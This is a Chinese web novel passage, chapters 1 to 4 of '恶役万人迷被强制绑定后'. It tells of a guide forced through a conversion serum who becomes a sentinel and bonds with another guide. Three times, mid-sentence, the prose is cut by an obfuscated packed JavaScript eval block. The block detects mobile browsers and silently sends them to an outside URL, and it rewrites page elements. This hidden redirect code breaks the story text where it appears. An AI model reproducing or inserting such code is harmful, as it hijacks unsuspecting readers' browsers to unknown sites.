《恶役万人迷被强制绑定后》 1. 第 1 章 日光斜射入光辉圣洁的殿堂中,在银白色基调的装潢下显得格外冷冽。 高台之上,身穿法官袍的女性手捧公文书正在宣判一则罪行: “阮弥,身为塔内特级向导,长期与多位哨兵保持不正当联系,严重违背塔之律法。” 金丝镜框镶嵌的镜片上,反射着站在中央遭受审判的人形。那人垂着脑袋孤零零站在正中,与光芒恰好错过,她脖颈上戴着抑制器,手腕脚踝被镣铐层层束缚。 “通过层层决议,审判庭决定将转换试剂在阮弥身上试行,死活不论。” 转换试剂,顾名思义就是可以在哨兵和向导两种身份中转换,从研发开始就饱受争议。 哨兵和向导目前还尚不清楚觉醒缘由,二者唯一的共性就是精神力超乎常人,向导比较稳定,哨兵则更加混乱。 谁都知道,强行改变只会造就恶果。 对此,塔给出的理由是:向导太过稀少珍贵,无法满足哨兵的精神疏导需求。 而现在,他们却就着一个无所谓的名头,要把第一管试剂扎在特级向导身上。 “我有异议!” 宣判声刚落下,观众席上就有人站起。 “即便是囚犯,也理应拥有人权!你们凭什么剥夺阮弥活下去的权利!” 附和与反对声接连不断地响起,法官和观众辩驳的声音传入耳中,身处混乱风暴的中心,阮弥对此却毫不在意,即便那些声音的主人她都无比熟悉。 “阮弥!” 有人在看台上呼喊她的名字。 “阮弥女士,请跟我离开。” 守卫从阴影中来到阮弥的身旁,她转过身,沐浴着众多人的目光,一步步退场。 “阮弥!!!” 合上的门扉隔绝外界,愤怒的呼声淹没在嘈杂的声响之中。阮弥行走在黑暗狭长的过道,只剩呼吸声和脚步声交错。 她记得从前的案件中,就算是犯下大错的囚徒,对向导哨兵最重的判决也就是在牢房中苟活度日。 很显然,她不在此列。 在又觉醒出特级向导后,圣所长老就认为阮弥可以被替代。作为精神力出众又没有特殊能力背景的她,会被塔榨取最后一滴价值,他们说,这是必要且荣耀的牺牲。 她心中嗤笑。 直至走到与黑暗完全相悖的洁白大门前,在阮弥身前引路的人停下脚步,沉默着侧过身视线垂落到她身上。 本该是遵守命令的守卫,在此刻做出出格之举,微弱的光泽在皮质手套上映出骨节,向她发出近似乞求的邀请: “阮弥,和我走吧,我们从这里逃走,去……一个没有人能找到我们的地方。” 还没说完,沈烬就瞳孔颤抖,呼吸变得凌乱。他看见,阮弥原先平整的嘴角勾起一丝带着讽刺的弧度。 “逃走?” 几近冰冷的语调在狭长空间中回响。 “你口中的逃离就是去一颗无人在意的偏远星球,过着近乎原始的农耕生活,让我和你朝夕相处亲密无间……请问,那我能得到什么?你宝贵的、无价的爱?” 阮弥抬起视线,碧蓝的眼眸直视着逃避她目光的沈烬。 “你怎么比顾辞晏那个娇蛮任性的少爷还要天真,还是说,你真的不知道我想要的是什么?” 没等他回应,阮弥被镣铐相连的双手捧起他的手掌,扯掉皮质手套,把他的手按在牢门上输入掌纹。 闪烁代表通过的光芒后,牢门缓缓打开,阮弥毫不留情地松开手,步入牢笼。 “对不起……”他垂头,语调悲戚。 “没关系,还记得第一次见面时,你对我说过什么吗?” “口头的道歉得不到我的原谅。” 沉重的大门把二人彻底隔绝,关押阮弥的房间内,有摄像头实时监控。即便沈烬能再度验证重新打开牢门进去,他也不会这么做,他不想给仇敌送去把柄。 想到这里,他的头垂得更低。 “我……我要做什么,你才会原谅我?” “杀掉那些让我失望的人。”走到房间正中的阮弥随即轻笑出声,“不过我想,你大概率也做不到吧?” “阮弥,无论如何,转换试剂真的很危险。” 他朝着门扉微微跨步,只要阮弥回心转意,他会为她打开大门。 “直到现在,你还没搞清楚状况啊。” 她背对着他,停下脚步。 “的确,我很有可能会死,也可能会生不如死,但还有一种可能,我会成为特级哨兵。” “就算那是最低的概率,我也愿意去尝试。” 从来都不是阮弥没办法从牢笼中脱身,而是她乐于被困其中。得到这个答案的沈烬已经没有再看向阮弥的勇气。 他颤抖地开口:“我只有最后一个问题,你……真的对我没有哪怕一点情谊吗?” 沈烬想知道,他们过去相处的种种,在阮弥心中难道真的就没有一点分量? “没有。” 虚假刺目的笑容在阮弥脸上浮现,垂落的黑色发丝阻挡住她视线中隐隐约约的恶意。 她注视正对自己的摄像头,与另一端的目光对视。 “我不讨厌你,也不喜欢你,不论是你,还是你们。所以不用在这里情深意切,你不如真切地盼望我去死,要是我没死,我一定会报复你们。” “最后和你们说句心里话好了。” 阮弥迈步离开,不再为任何人停留。 “我不想成为向导,更不想遇见你们。” “成为哨兵和向导是一件无比荣耀的事情,不过即便没有,也不必气馁。拥有能力意味着要承担更多的责任和面对更多的困境,联邦内向导数量稀少,仍有一部分哨兵的精神长期位于疯狂的边缘。” 圣所内,还未觉醒的学生们正怀着期盼的目光听着演讲。 “很幸运,今天云芷女士应邀而来,她是我们索兰时隔多年觉醒的特级向导。” 被簇拥的圣洁之女站在舞台正中扬起营业微笑,她按住不安跳动的心脏,顺着人群看向塔的方向。 “开始注射。” 高塔之上,如墨的发丝铺开,阮弥闭眼躺在空旷圣洁的房间,在她周身有数根精神力化作的触须握紧尖长的针管,得到命令后精准刺入她的全身血管。 无人打扰的精神空间内,她正坐在无边海洋上的茫茫孤岛,抚摸着自己的精神体。 阮弥的精神体是鲸,它把自己缩小为了能更好地窝在阮弥怀中。 一阵风吹过她们,扬起阮弥在地面上蜿蜒的黑发:“起风了啊。” 小鲸哼叫一声,似是回应。 从阮弥觉醒开始,精神空间内就是一片宁静深邃的海,除开小鲸游动掀起波浪,没有其他任何东西能打破海面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546830|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的平静。 她曾经在其他哨兵身上感受过相同的混乱气息。 “如果我死了,就杀了他们为我陪葬吧。”阮弥低头,对着小鲸交代自己的遗言,小鲸则扬起自己的尾鳍轻拍她的手背似作安抚。 它说:“我会完成你的愿望。” 风变得更加喧嚣,甚至开始在阮弥的耳畔呼啸,小鲸也从她的怀抱中跃起,纵入海面掀起涟漪。 咚、咚、咚…… 心脏在她的胸腔内跳动,连带着仪器上的均匀分布线条。 直到某一时刻,屋外气流肆虐冲撞紧闭的窗台,仪器显示的线条也变得凌乱,没有任何规律可言。 “转换开始。”冰冷的机械声再次响起。 “阮弥女士的精神体预计在十分钟后外放,预估会造成三级破坏,相关小组戒备。” 一墙之隔,无数人员在进行着数据分析。屏幕上鲜红的危险值正以极快的速度升高,有人发觉这与预期的比率有些不对。 “阮弥的精神体是什么种类?” “资料上写的是普通种。” “特级向导的精神体不可能是普通种。” 圣所的导师还在一旁讲述有关特级向导的知识,众人左耳进右耳出,注意力都在云芷外放现实的精神体上,那是一条白龙。 “大多数人的精神体都是现实中的动物,这没什么不好,只不过有些人的精神体更加特殊一些,对应神话中的物种。” “特级向导还好,大多都没有什么攻击性,外放现实会让人身心舒畅,减轻压力。但如果是特级哨兵,精神体外放的后果,堪比一场天灾。不过这么多年,整个人类联邦都没有出现过特级哨兵了……” “呜——” 一声长鸣响彻天际,紧随其后传来的是警报声响。 “一级警报,一级警报。特级哨兵在塔内失控,请所有人迅速撤离。” “老师,你快说我也会成为特级哨兵!” 导师擦擦汗连忙摆手让两眼放光的学生去避难,再一转眼,就发现原先还在台上的云芷已经不见踪影。 “应该是去安抚了吧。” 白龙带着云芷穿过人流,朝着塔的顶端混乱爆发的地方飞去。 天空之中阴云密布,前方传来强大又陌生的精神力波动,云芷将精神力附着在眼部,映入眼底的景象让她倒吸一口凉气。 她看见一条巨鲸在塔尖游动,接连不断发出骇人嚎叫。 “龙龙,那是什么?” “吞天鲸。” 传说中能吞噬天地的巨鲸。 云芷才觉醒不久,连普通的哨兵都没疏导几个,更别说和她同为神话种的特级哨兵。白龙悬浮在空中等待云芷的指示,她咬了咬牙,还是下定决心:“龙龙,我们去吧。” 无论如何,她想救下那个陷入失控的哨兵。 白龙没有立即移动,而是伸出自己的爪子,敲了敲面前透明的壁障。 “阿芷,有人不让我们过去。” 云芷皱起眉头,心底无端冒出些怒火,她想行动,可一阵强风忽如其来将她压制在原地,等她再重新看去,一对漆黑的羽翼正飞往巨鲸的身旁。 冥冥之中,她似有所感望向塔尖,有人正笑着与她对视。 那人和她一样是特级向导,也是神话种精神体,现在唯一不同的是,她在其外,而他正身处其中。 2. 第 2 章 “他把你视为竞争者了。” “……”云芷暗暗咬牙,随即汇聚精神力冲击眼前屏障。 “让我进去,我要救其他人!” 话音刚落,先前还死死隔绝的屏障就消失了,白龙也得以带着云芷去往更靠近塔的地方。 来到塔下,云芷却不想就这么离开。 “龙龙,我们冲上去!” 白龙却扬起自己的尾巴点了点天上的屏障,她们可以进来,但通往塔上的途径还是被死死阻隔。 “死心吧阿芷,我们打不过他。” 能展开这么大范围的精神屏障,绝对不是一般人,而且……那是一只玄凤。 神话种精神体在同一时间段上只会出现一个,白龙记得玄凤的主人在出生时就觉醒了精神体,传闻拥有极强的精神力,以至于年幼的身体无法承受,早些年就被迫沉睡在塔内。 “言少主,有另一位特级向导在外面,需要……” “不需要。” 声音的主人正半坐在阮弥身旁,长时间没有修剪过的发丝顺着洁白长袍在地面盘旋,围出一片只属于他们的区域。 近乎妖异的紫在那双眼中荡漾,痴迷地注视着陷入昏睡的哨兵。 “你们只需要撤离就好,这里,我来解决。” “……是。” “呜——” 圣洁高塔外巨鲸不停息地游弋,接连不断发出干扰他人精神力的长吟,绝大多数人都无法看到它,他们只知道狂风在呼啸,灾难将临。 盘旋于高空的玄凤觉得巨鲸在呜咽。 它很难过。 精神体从诞生的那一刻就和主人紧密相连,吞天鲸和阮弥也是一样。如今阮弥精神空间混乱危在旦夕,它被迫外放现实,没办法回到她的身边。 它是答应了阮弥,可它想帮她实现的,不是通往毁灭的愿望。 “呜!” 本体是巨鲸的小鲸越想越难过,从它外放现实那一刻开始,阮弥就没有再回应过它的呼喊。 悲伤中,有只漆黑小鸟轻轻落在它的头顶,是一只精神体拟态。 小鲸之前就感受到有精神体在附近,只不过它心系阮弥,完全不想理会。小鲸想起从前阮弥和它说过,精神体拟作幼态大多数时候是一种示好的信号,有时也会是陷阱。 见巨鲸没有驱赶自己的意图,玄凤也明白对方在给它沟通的机会。 “我和我的主人没有恶意,我们也想救她。” “同为精神体我能理解你和主人被迫分离的忧虑,我不是想责怪你,只是精神体也能反过来影响主人,所以……就当是为了她,别再难过下去了,好吗?” “她不会有事,我保证。” 长久的沉默中,小鲸按下心中涌动的不安和急切,选择去相信一个不知真假的承诺。 “……好。” 它想帮上阮弥,它从不愿她死去。 乌黑阴云死死遮盖着天空,不见一点光芒,风雨雷电在耳边呼啸。无边海面上,浪涛四处席卷,数道水龙卷连接海天。 外来的魂体在其中穿梭,稍有不慎就会被狂乱的精神力撕成碎片。 直至精神空间的最深处,万籁俱寂,一座孤岛浮于海面,她在那里。 “你……是谁?” 来人径直坠入一双碧蓝眼眸,明明是大海与天空的颜色,如今却被阴翳遮盖。 “言述一,一个向导。” 他低声回应着,以缓慢的速度朝阮弥靠近。 “来到这里很大一部分原因是为了我自己,但我也想帮到你。” 醒来之后,他了解过状况,知晓为什么会突然诞生一位特级哨兵。大多数情况下,真诚表明意图会让人卸下心防减少戒备,这是言述一过往的经验。 这里看起来风平浪静,代价却是阮弥现在的状态极度混乱,无休无止地痛苦裹着烦躁将她死死拖住。 相隔的距离一点一点缩短,飘摇不定的期许在他心中缓缓升高。 来到阮弥面前,他却不敢贸然触碰:“很抱歉,我没办法阻止转换的过程……” “现在还、来得及离开。” 阮弥出声打断,她在给言述一离开的机会。 本能在叫嚣,迫切地想要将自身苦苦抑制的疯狂和暴虐找到一个发泄之处,想要从眼前之人身上汲取到片刻疏解。 阮弥却不想那么做,死死压抑着哨兵本性。她过去也是向导,她不想也不会去做连自己都厌恶的事情。 言述一反而上前半跪坐在阮弥身旁,笑意洋溢唇齿:“我不会离开的。” 从不是阮弥需要他,而是自己非她不可。 “所以,我可以触碰你吗?” 阮弥握住他的手腕作为回应。 借由触碰的魂体,精神力能够短暂在他们之中流通交换,短暂安抚阮弥混乱的精神力,不过,这并不是解决之法。 “我需要破坏这片区域的边界,才能重新建立起精神屏障。” 这会让阮弥短时间内彻底失控,同时也代表着,在这段时间内她会被本能驱使。比起自己,阮弥反而有些担心言述一,他的脸色是不正常的苍白,看起来比自己更像是病人。 像是知道阮弥在想什么,轻柔的声音在她耳畔响起: “别怕,你和我都不会有事。” 稍微缓和后,阮弥清醒不少:“如果有什么意外,你要走就走,我不会追究。” “不,我不会离开。”言述一面上笑容有片刻暗淡片刻,但很快就恢复甚至更盛:“就算你赶我走,我也不会走的。” 好坚决啊…… 阮弥神游天外地想着,莫名觉得有点不妙:“你准备好就开始吧。” 言述一点头。 “五、四、三、二……一。” 话音落下,屏障一瞬就出现如蛛网一般的裂痕,再一秒流逝,汹涌的海水就朝着孤岛卷起巨浪,在理智破碎的前夕,阮弥听见言述一低语: “我更期待和你一起活着。” 刹那间,言述一被一道不容置疑的力量前压,直直撞进阮弥怀中,长袍被外力扯下缓缓滑落,他觉得相互纠缠的发丝有些冰凉,衬得落在脖颈时轻时重的吐息更加湿热。 可惜,这似乎只是个拥抱…… 下一刻,肩颈处传来痛感,他成为某人的口中之物。 明明是让人不自主皱眉的疼痛,言述一却笑了起来,落在远处的视线缓缓失去焦点,他环住阮弥,在翻涌的浪潮中献上祭礼。 他如愿成为她的猎物,直至风浪平息。 日光穿破云层,透过细密薄纱,洒满室内带来点点温度。 阮弥被光唤醒,哈欠不受控制地溢出,碧蓝色的目光重新溃散。 今天要做什么来着?她迷迷糊糊地想着,完全想不起来的日程等于没有,她拽起被子侧过身裹紧想再睡一会。 闭上眼前,余光捕捉到一抹紫色,阮弥没有在意。 她在想为什么今天的被子格外舒适。 …… …………! 记忆如涨潮的海水不断涌现,阮弥一下清醒过来,感知也很合时宜地捕获到她身后躺着一个大活人,她的向导。 她没睁开眼,因为不想面对。 阮弥觉得自己像是宿醉过头现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546831|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在做梦:她成功从向导变成哨兵,还和一个从来没见过面的向导精神绑定。 平心而论阮弥自知自己不是什么好人,更没做过什么感天动地的好事,可她如今身为一个哨兵,无论是律法还是道德上都必须对精神结合过的向导负责,就算这是暂时的绑定。 纠结半晌,阮弥深吸一口,睁开眼,轻轻掀开被子起身。 “你醒啦。” 毫无预料的话语吓阮弥一跳,她以为对方还没醒,转过头才发现言述一不知何时就已经看向自己。 “抱歉,吓到你了。”他脸上露出表示歉意的笑容,退回原本前倾的距离。 “没关系,是我没注意。” 言述一的衣服好像和记忆中的有些不同,大片肌肤裸露在外似乎是有些不合身,阮弥的视线落在被发丝遮掩若隐若现的颈部…… 猛然回神,她在心中唾弃自己:“阮弥啊阮弥,你在想些什么!” 在被定性为超级大色魔之前阮弥慌慌张张收回目光,若无其事地帮言述一拉好衣服。 他任由她动作,脸上的笑意却从未减退。 “我们去吃饭吧。” 直到看见走廊窗外悬日落下,阮弥才迟迟意识到现在不是清晨,她以为只过了一个夜晚,现实却是她昏迷了整整一个星期。 “我可以借用一下你的终端吗?我想给我妈报平安。” “在你精神状况稳定下来后,我就告诉过阮阿姨你一切安好。”说着,言述一将自己的终端递到她手中,“我先去餐厅等你。” “好,多谢你了。” 熟练地按下通讯号码,阮弥看见言述一的备注:阮怀清阿姨。她打的是语音模式,因为有点不敢直视阮女士的目光,没等多久就成功接通了。 “小言啊,找阿姨有什么事吗?” 小言?阮弥心有疑虑,没多耽搁紧接着开口:“妈,是我,你女儿。” “哦——” 这声音给阮弥一种大难临头的压迫感,果不其然,阮怀清原先热切的态度随着拖长的声音下降很多。 “你还知道打通讯给我!被索兰圣所抓起来这么久,你还让安安他们瞒着我什么都不说!你知道我看见报道时有多担心你吗?要不是小言告诉我你没事我都快被你吓死了!” “妈……我错了,对不起。” 阮怀清连珠带炮让阮弥泛起源源不断的愧疚:“我找有预言能力的人预测过,不会有事,所以我就想等成功了再告诉你。” 长久的沉默后,另一边传来无可奈何的叹息,让阮弥不由得心头一紧。 “小弥,下次不要再这样了,我真的很害怕。” “好,不会有下次了。” “我前几天就到了索兰,只是进不去塔里,你也别急着出来见我先好好养身体。说起来,你昏迷的这段时间都是小言一个人照顾你……” 阮怀清忽然压低声音。 “我让人查过,他家是索兰的一个大家族,这也没什么。虽然你们现在订婚了,但无论你之后做什么选择我都会支持你,你的感受才是最重要的,不过如果真的不合适也好聚好散不要太伤害人家。” “……我和他订婚了?” 阮弥的语气中带有三分困惑,三分不解,以及三分茫然。 什么时候的事情?她失忆了?还是圣所出了临时精神结合也要订婚的条例? 对此一无所知的当事人听见通讯那头传来一声轻笑:“原来小言还没和你说啊,总之事出有因,涉及你在索兰的资产,他事前问过我,我同意了。” “小弥,你也不想你辛辛苦苦攒下来的钱被充公吧?” 3. 第 3 章 阮弥心情复杂地推开餐厅大门,接连不断的短促鸣叫跃入耳中,室内飞来飞去的长尾黑色小鸟引走她的目光。 视野与空间的正中,言述一在等她。 “你来啦,看看这些菜合不合胃口。”见到阮弥,言述一面无表情的脸庞露出温和笑容。 注意到阮弥的视线,他顺带介绍道:“它是我的精神体,玄凤。” “阮弥你好。”玄凤也飞到她的面前,“吞天鲸没有大碍,只是之前耗费的精神力太多了,现在还在沉睡。” “你好啊,麻烦你之前照顾小鲸了。”阮弥抬手接住它给予回应,各式各样的光彩落入她的眼中,那是玄凤羽毛蕴含的色彩,光线会让其在漆黑底色中展现。 打完招呼后,玄凤顺着手臂一点点跳到她的肩膀上,这样它既不会离开阮弥,也不会阻碍阮弥用餐。 阮弥对此没有异议,所有哨兵和向导都有共识,不能随随便便触碰他人的精神体,可现在她和言述一有一层精神结合的关系,她没理由,也不会去拒绝。 思虑中,她到言述一对面坐下,迟迟发现圆桌上的菜式全都是她喜欢的。 这不是不合胃口的问题,是太合胃口了。 “之前我冒昧打扰了下阮阿姨,问了她你喜欢吃什么。” “有劳你费心了。”阮弥拿开瓷盖,盛了两碗粥,推到对面,“这些我都尝不过来了,下次多选一些你喜欢的吧。” 她不是很清楚应该怎么对待她的向导,所以她只好疏离地礼貌着,小鲸也还在睡觉…… 救命。 她垂下头,慢慢喝着碗里的粥。 过往将阮弥塑造成一个喜怒不形于色的人,可感知会捕捉到那些细微不起眼的情绪。 言述一和玄凤对视一眼,他们在暗中分析。阮弥身上没有很强烈的某一种特定情绪,而是许多种情绪杂糅在一起,总体而言,她似乎不是很开心。 “怎么办啊玄凤——”言述一拿着勺子无意识地在碗里打转。 “你先别着急,阮弥她也没不开心。” “她是不是知道我自作主张宣布和她订婚的事了?要是比起和我订婚,她宁愿不要那些钱怎么办?她会不会觉得我是在”利用她?她会不会是不喜欢我?” “……停停停!” 阮弥抬眼,发现言述一有些心不在焉,他碗里的粥基本没动。 “是不喜欢这个粥吗?抱歉,我忘记提前问你了。” 如梦初醒的言述一停下手中的动作和脑海中杂乱的思绪急忙开口:“没有,不是不喜欢,只是……我有点不习惯吃这些食物,我一个人的时候基本是喝营养液或者注射。” 看出阮弥有些不解,言述一出声解释: “我绝大部分时间都是在沉睡,偶尔会醒来,以前我的母亲还陪着我的时候我也会吃正常饭菜,只是后来圣所不让普通人进塔,我的生活也被圣所的人接管。” “清醒的时间要用来上课,了解一些常识和学习使用精神力,圣所的老师就让我不用吃饭节约时间。” 刚开始言述一还会不适应,久而久之就习惯了,现在就算是摆在他面前也没什么食欲。 所以桌上才会全部都是阮弥喜欢的菜。 “那个人,是谁啊?” 放下手中的勺子,压抑着略有波动的情绪,阮弥若无其事地询问。说这些事的时候言述一并没有表露出什么情绪,在他看来或许这是合理的,再正常不过的行为。 玄凤还是捕捉到一闪而过的杀意。 言述一则由衷地展出笑颜:“那人前些年就死了。” 死得好,阮弥在心中腹诽,面上不显。 “不过,为什么你会沉睡呢?” 她是想劝言述一好好吃饭啦,可言述一也说了,不吃饭是为了节省时间,充足的时间是改变问题的关键,那么,该如何获得? “玄凤从我出生时就在我身旁,给我带来超乎常人的精神力的同时,让我的身体有些难以支撑。” 在阮弥成为哨兵之前,没有人能够承受言述一的精神力,就算是最轻微的接触都会在一瞬间让人失去所有的意识。过剩过强的精神力堆积在一处,只有长眠不醒才能让他活下去。 “我很感激,因为你,我才能清醒这么长的时间,不用每天担心什么时候会再度昏迷。” 看来解决办法是她自己。 “那以后就好好吃饭吧。”阮弥稍稍扬起唇角。 “精神力可以感知到很多东西,但光凭外在感受是没办法获得饱腹感的。我没办法给你太过绝对的承诺,只要你愿意,我会尽我所能帮你保持清醒。” “好。”言述一欣然应下。 简单吃过后,言述一和玄凤带着阮弥参观他们的住所,她还需要在这里待上一段时间。 “转换如今算得上是成功,但你的精神空间还没有完全稳定下来,吞天鲸也没有苏醒。在塔内有所限制你感受不到什么异样,到外界还是会有问题存在。” 塔是一个相对而言的安全环境,其他地方则充满了未知和不确定性。 “这边是洗手间和浴室,那里是书房,还有一个房间是训练室。”玄凤飞到附近为阮弥指引,至于卧室则是她醒来的地方,要经过一段走廊。 过道尽头,旋转向上的窄梯吸引住阮弥的目光。 “这个楼梯通往哪里?” “塔顶。” 阮弥浑身上下充斥着跃跃欲试,言述一轻笑着侧过视线:“走吧,我们上去看看。” 这是个没有风的夜晚。 推开门的那一瞬间玄凤就化作原形,去往黑夜中肆意翱翔。阮弥快步来到边缘撑着半高的围墙往下看去,她不恐高,却也有些目眩神迷。 眺望远方,城市的点点光芒遍布视野。 “我来到这里很多次,每一次看着圣奎姆,我都会觉得自己不属于这里。” 言述一在书本、终端、老师的讲解中听过和了解过他所处的星系、星球、城市,索兰、瑟拉瑞斯、圣奎姆……就像阮弥说的那样,精神力没办法为他带来咀嚼食物的实感,也没办法让他了解那一个个特有名词所蕴含的一切。 说完他就垂下视线,心中有些后悔。本能先一步吐露思绪,他却不明白这是否正确。 空荡的目光中闯入一只在晃的手心,回过神来,言述一发现阮弥强化了他的视觉。 见言述一望向自己,阮弥回以浅笑,随后伸手指向远方。 “你看,现在最亮的那栋大楼是一栋商业大厦。原本想建得更高却被圣所叫停,那些老家伙不允许有建筑高过白塔。” “那边有点黑,只有一点点灯的一片是住宅区,翻过那座小山丘,背面就是我在圣奎姆买的房子。” “圣奎姆其实没什么好玩的,我比较喜欢的就是那片圣地外围的公园。更远处就是远港了,空港和海港都在那里。” “……又在非法聚集。”她语气里没有责怪,反而带着轻松的无奈。 顺着阮弥指向的地方,言述一见到有一群人拿着武器声势浩荡地在十字路口聚集,视线上移,有几道零零散散的身影站在楼顶,一位头戴黑色长檐帽的女士却侧身仰头直直看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546832|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向他们所在的方向。 言述一心下一惊,却发现阮弥正朝那人挥手。 “她应该看不到,只是感受到了我们的视线。她是一个很厉害的人,既不是哨兵,也不是向导,精神力也平平无奇,但她会占卜,而且准得可怕。” “我记得她以前和我说过圣奎姆自然风光还不错,什么卡多普山脉、克里塔斯峰……虽然我也没去过就是了。” “等离开塔后,这些地方你要是想去我都可以带你去,你想去别的星球也可以。” “谢谢你……” 言述一不知道在自己胸腔中鼓动的是何种情感,他只知道在略微寒冷的夜色中,他前所未有地觉得温暖。 “阮弥,你知道我擅作主张和你订婚的事了。” “嗯,我妈告诉我了。” “我很抱歉,我没有征求你的同意就这么做。事出紧急,我托母亲找到的人和我说这是最好的办法,而且……他们说只有这样和你绑上关系,才能得到言家更多的帮助。” 大多数人都是无利不起早的,言述一表面上是言家少主,可长年昏迷并没有什么实权。 想要得到什么,就必须付出什么。 “不必道歉,这完全不是你的错,相反,你帮了我很大的忙。” 阮弥很清楚,无论是她辛辛苦苦积攒的钱财,还是要命的转换过程,如果没有言述一,她的的确确会多很多麻烦。 “我也能理解言家这么做的用意,无论是家族还是圣所,乃至绝大多数人,都是利益驱动,算计我资产的那些人如此,我也如此。” “缔结婚约对我来说影响不大,你不用放在心上。”在阮弥自己对未来的计划中,并没有结婚组建家庭这样的目标。 她反而有些担心言述一,毕竟这件事是因她而起,他完全是被牵扯其中。 “你有想过离开塔之后的生活吗?” “没有,我……不知道。” 不是言述一没想过,只是每一次,空落落的感觉会充斥所有设想,以至于让他觉得那是一种不切实际的妄想,渐渐地,他就不再去想了。 “在认识你之前,我和外界唯一的联系就是我的母亲,可我不想去言家,母亲她也有其他的孩子……” 言家对言述一而言,等同于时不时传来的问询。言述一很清楚,他是言家的少主,是因为他出生就有玄凤,后面又确定是特级向导,他成为少主能为他们带去利益,仅此而已。 “玄凤能随时带我离开,只是我不知道自己能去哪里。”更不知道自己该做什么,能做什么。 他不属于圣所,不属于圣奎姆,不属于言家。 不知从何处吹来的夜风,扬起发丝,遮蔽视线,也加重言述一身心的冰冷。 “那就去我在圣奎姆的家吧。” 微乱的前发被人轻轻拨开,言述一见到那双自己这辈子都不会忘却的碧蓝眼眸,阮弥眉眼稍弯,温声对他许下诺言: “只要你想,你随时可以去那里,待多久都没问题。” 微弱的心火再一次重燃,言述一又一次发自内心对阮弥展颜微笑。 他说:“好。” 二人静静地陪着彼此待了一会,直至一声短促的凤鸣从侧后方传来,打破了夜的静谧。 “嘶——”阮弥按着眼眶倒吸一口凉气。 “怎么了?”言述一语气担忧。 “没事,只是眼睛有点痛。”第一次成为哨兵的阮弥忘记停止先前的视觉强化,精神力一直在减少。 微凉的掌心覆盖住她的眼,止住细密的点点疼痛。 4. 第 4 章 “我限制了你的视觉,现在看东西会有些模糊。” 言述一收回手掌后阮弥睁开眼,疼痛已经消退,原先清晰的夜景却被揉成一团只剩下模糊的光点,她下意识想聚焦看清,可无法做到。 “今天就先去休息吧?”失去视觉后,言述一的声音越发明显。 “好。”她的手臂被人轻轻搀扶。 除开视觉模糊之外,晕眩感在阮弥脑海中挥之不去,言述一也因为担心她距离有些近,时不时洒落的吐息让她本就紧绷的神经轻颤。 先前长时间的昏睡没什么实感,直到现在阮弥才意识到这是她成年之后第一次如此虚弱无力需要被人照料。 ……有点难为情。 对此一无所知的言述一在阮弥看不到的地方轻轻环住她,小心地扶着阮弥回到楼下:“对不起,都是我没注意。” 他沉浸在自身的喜悦之中完全忘了关注阮弥的伤势,要不是玄凤提醒他,他还需要更长时间才察觉。 阮弥听得出言述一语气中的内疚和歉意,轻声安抚:“没事,你本来就没做错什么还总是在帮我,应该是我要谢谢你才对。” 说来也是奇怪,即便看不清,阮弥也知晓言述一此刻轻皱的眉眼重新露出笑容。 “毛巾和浴衣都挂好了,在这里。”言述一虚握着阮弥的手腕带她确认方位,“有什么事情你随时叫我,我就在外面。” 跨进浴缸,满溢的热水让阮弥放松下来,氤氲水汽也让她忘却自己模糊的视线。 难得的闲暇时光,她的思绪放空跳跃,从该死的圣所、审判庭,到出去后要去阮女士面前认错,去看一眼洛安她们,确认她那些被惦记的钱财,还有周姨…… 小鲸也不知道什么时候才醒。 最后,她无可避免地想起那双妖异的幽紫双眸。 言述一……阮弥不讨厌他,也不能说不喜欢。 微妙的差别就在于,阮弥知道自己愿意和言述一待在一起,而不是其他那些无关紧要会让她觉得浪费时间的人。 她不知道这是自己的真心,还是精神结合的后续反应。 阮弥不想受制于人,却也没办法只拥有哨兵的力量不需要向导的疏导和安抚,万事万物皆有代价,先前发生的事就是证明。 可以确定的就是她和言述一还会有一段待在一起的时间,至于更远的未来…… 她暂时没办法确定。 长时间的浸泡加上精神空间的损伤让阮弥昏昏欲睡,等她回过神来自己已经躺在床上,言述一坐在她的身侧正在为她治疗。 在模模糊糊的景象中,她隐约看得见言述一正闭着眼,乌黑的长发垂落在她的手边。 阮弥无意识将其轻轻萦绕在指尖。 不知过了多久,言述一睁开了眼,见阮弥还没睡在玩他的头发,他勾唇轻笑:“好了,快睡觉吧,我增加了点用来安抚的精神力,这样会让你睡得沉些。” 帮阮弥盖好被子后他就起身打算离开,还没等他迈出步伐,就被人攥住了手腕。 “只有一张床。” 不着前后的语句,言述一明白是阮弥想问他睡哪,他重新坐回原位给予回应:“放心吧,客厅或者训练室我都可以休息。” 阮弥还是没有放手。 “睡这里。”她往侧边挪了一些,用最后的意识叮嘱道:“要是有什么不对就推开我。” 她真的很困,说完就裹着被子睡着了。 